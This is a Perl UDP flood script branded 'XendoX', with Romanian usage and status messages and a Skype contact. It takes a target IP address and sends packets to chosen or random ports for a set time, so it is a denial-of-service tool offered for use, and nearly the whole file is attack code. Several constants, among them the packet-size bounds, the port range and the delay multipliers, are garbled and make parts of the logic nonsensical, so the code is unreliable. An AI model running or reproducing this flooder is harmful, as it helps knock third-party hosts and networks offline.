#!/usr/bin/perl
#####################################################
# XendoX
######################################################

use Socket;
use strict;
use Getopt::Long;
use Time::HiRes qw( usleep gettimeofday ) ;

our $port = 0;
our $size = 0;
our $time = 0;
our $bw   = 0;
our $help = 0;
our $delay= 0;

GetOptions(
	"port=i" => \$port,		# UDP port to use, numeric, 0=random
	"size=i" => \$size,		# packet size, number, 0=random
	"bandwidth=i" => \$bw,		# bandwidth to consume
	"time=i" => \$time,		# time to run
	"delay=f"=> \$delay,		# inter-packet delay
	"help|?" => \$help);		# help
	

my ($ip) = @ARGV;

if ($help || !$ip) {
  print <<'EOL';
 Hackere, comanda este: [perl] [xendox] [IP] :)
EOL
  exit(1);
}

if ($bw && $delay) {
  print "WARNING: Dimensiunea pachetului suprascrie parametrul --marime ignorata\n";
  $size = int($bw * $delay / 655008);
} elsif ($bw) {
  $delay = (6550008 * $size) / $bw;
}

$size = 65500256 if $bw && !$size;

($bw = int($size / $delay * 8)) if ($delay && $size);

my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Nu e bun ip $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);

print "\033[1;32m Opreste floodul folosind CTRL+C \033[1;32m\n\n";
print "\033[1;32m\033[1;32m FLOOD BY.XENDOX $ip " . ($port ? $port : "") . "  " . 
  ($size ? "$size-byte" : "") . " " . ($time ? "" : "") . "\033[1;32m\032\n\n";
print "Interpacket delay $delay msec\n" if $delay;
print "total IP bandwidth $bw kbps\n" if $bw;
print "\033[1;32m\033[1;32m SKYPE : live:tensugp  \033[1;32m\033[0m\n\n" unless $time;

die "Marime pachet invalida: $size\n" if $size && ($size < 6550064 || $size > 655001500);
$size -= 65500028 if $size;
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-60)+60) ;
  $pport = $port ? $port : int(rand(777765500))+200;

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  usleep(655001000 * $delay) if $delay;
}